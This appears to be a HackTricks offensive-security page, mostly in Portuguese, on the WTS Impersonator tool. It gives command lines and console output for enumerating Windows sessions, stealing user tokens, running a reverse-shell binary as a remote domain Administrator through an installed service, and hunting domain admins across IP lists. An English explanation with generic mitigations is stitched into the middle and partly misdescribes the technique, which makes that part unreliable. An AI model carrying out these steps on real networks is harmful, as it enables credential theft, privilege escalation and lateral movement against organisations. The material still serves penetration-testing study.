hacktricks/windows-hardening/stealing-credentials/WTS-Impersonator.md

8 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

O WTS Impersonator abusa do Named pipe RPC "\pipe\LSM_API_service" para enumerar usuários logados e roubar tokens de outros usuários sem usar a técnica normal de "Impersonação de Token", isso permite um movimento lateral fácil e discreto, essa técnica foi pesquisada e desenvolvida por Omri Baso.

A ferramenta WTSImpersonator pode ser encontrada no github.

WTSEnumerateSessionsA → WTSQuerySessionInformationA -> WTSQueryUserToken -> CreateProcessAsUserW

Módulo enum:

Enumerar Usuários Locais na máquina em que a ferramenta está sendo executada

.\WTSImpersonator.exe -m enum

Enumerar uma máquina remotamente fornecendo um IP ou um nome de host.

.\WTSImpersonator.exe -m enum -s 192.168.40.131

Módulo exec / exec-remote:

Tanto o "exec" quanto o "exec-remote" requerem estar em um contexto de "Serviço". O módulo local "exec" não precisa de nada além do WTSImpersonator.exe e do binário que você deseja executar (sinalizador -c), isso poderia ser um "C:\Windows\System32\cmd.exe" normal e você abrirá um CMD como o usuário desejado, um exemplo seria

.\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe

Você pode usar o PsExec64.exe para obter um contexto de serviço.

.\PsExec64.exe -accepteula -s cmd.exe

Para exec-remote, as coisas são um pouco diferentes. Eu criei um serviço que pode ser instalado remotamente, assim como o PsExec.exe. O serviço receberá um SessionId e um binário para executar como argumento, e será instalado e executado remotamente, desde que as permissões corretas sejam fornecidas. Um exemplo de execução seria o seguinte:

PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m enum -s 192.168.40.129

__          _________ _____ _____                                                 _
\ \        / /__   __/ ____|_   _|                                               | |
\ \  /\  / /   | | | (___   | |  _ __ ___  _ __   ___ _ __ ___  ___  _ __   __ _| |_ ___  _ __
\ \/  \/ /    | |  \___ \  | | | '_ ` _ \| '_ \ / _ \ '__/ __|/ _ \| '_ \ / _` | __/ _ \| '__|
\  /\  /     | |  ____) |_| |_| | | | | | |_) |  __/ |  \__ \ (_) | | | | (_| | || (_) | |
\/  \/      |_| |_____/|_____|_| |_| |_| .__/ \___|_|  |___/\___/|_| |_|\__,_|\__\___/|_|
| |
|_|
By: Omri Baso
WTSEnumerateSessions count: 1
[2] SessionId: 2 State: WTSDisconnected (4) WinstationName: ''
WTSUserName:  Administrator
WTSDomainName: LABS
WTSConnectState: 4 (WTSDisconnected)

Como pode ser visto acima, o Sessionid da conta de Administrador é 2, então o utilizamos em seguida na variável id ao executar o código remotamente.

PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2

Módulo user-hunter:

O módulo user hunter permitirá que você enumere várias máquinas e, se um determinado usuário for encontrado, executará código em nome desse usuário. Isso é útil ao procurar por "Administradores de Domínio" enquanto se tem direitos de administrador local em algumas máquinas.

.\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe

WTS Impersonator

The WTS Impersonator technique allows an attacker to steal user credentials by impersonating a Windows Terminal Server (WTS) session. This technique takes advantage of the fact that WTS sessions can be redirected to a remote server.

How it works

  1. The attacker gains access to a target system that has a WTS session active.
  2. The attacker identifies the active WTS session and determines the session ID.
  3. The attacker uses the WTSQueryUserToken function to obtain the user token associated with the active session.
  4. The attacker duplicates the user token using the DuplicateTokenEx function.
  5. The attacker creates a new process using the duplicated token, effectively impersonating the user.
  6. The attacker can now perform actions on behalf of the user, including stealing credentials.

Mitigation

To mitigate the risk of WTS Impersonator attacks, consider the following measures:

  • Regularly monitor and audit WTS sessions to detect any unauthorized activity.
  • Implement strong access controls and authentication mechanisms to prevent unauthorized access to WTS sessions.
  • Use multi-factor authentication to add an extra layer of security to user credentials.
  • Keep systems and applications up to date with the latest security patches to prevent exploitation of known vulnerabilities.
  • Educate users about the risks of phishing attacks and the importance of not sharing their credentials with anyone.

By implementing these measures, you can significantly reduce the risk of WTS Impersonator attacks and protect user credentials from being stolen.

PS C:\Users\Jon\Desktop> .\WTSImpersonator.exe -m user-hunter -uh LABS/Administrator -ipl .\test.txt -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe

__          _________ _____ _____                                                 _
\ \        / /__   __/ ____|_   _|                                               | |
\ \  /\  / /   | | | (___   | |  _ __ ___  _ __   ___ _ __ ___  ___  _ __   __ _| |_ ___  _ __
\ \/  \/ /    | |  \___ \  | | | '_ ` _ \| '_ \ / _ \ '__/ __|/ _ \| '_ \ / _` | __/ _ \| '__|
\  /\  /     | |  ____) |_| |_| | | | | | |_) |  __/ |  \__ \ (_) | | | | (_| | || (_) | |
\/  \/      |_| |_____/|_____|_| |_| |_| .__/ \___|_|  |___/\___/|_| |_|\__,_|\__\___/|_|
| |
|_|
By: Omri Baso

[+] Hunting for: LABS/Administrator On list: .\test.txt
[-] Trying: 192.168.40.131
[+] Opned WTS Handle: 192.168.40.131
[-] Trying: 192.168.40.129
[+] Opned WTS Handle: 192.168.40.129

----------------------------------------
[+] Found User: LABS/Administrator On Server: 192.168.40.129
[+] Getting Code Execution as: LABS/Administrator
[+] Trying to execute remotly
[+] Transfering file remotely from: .\WTSService.exe To: \\192.168.40.129\admin$\voli.exe
[+] Transfering file remotely from: .\SimpleReverseShellExample.exe To: \\192.168.40.129\admin$\DrkSIM.exe
[+] Successfully transfered file!
[+] Successfully transfered file!
[+] Sucessfully Transferred Both Files
[+] Will Create Service voli
[+] Create Service Success : "C:\Windows\voli.exe" 2 C:\Windows\DrkSIM.exe
[+] OpenService Success!
[+] Started Sevice Sucessfully!

[+] Deleted Service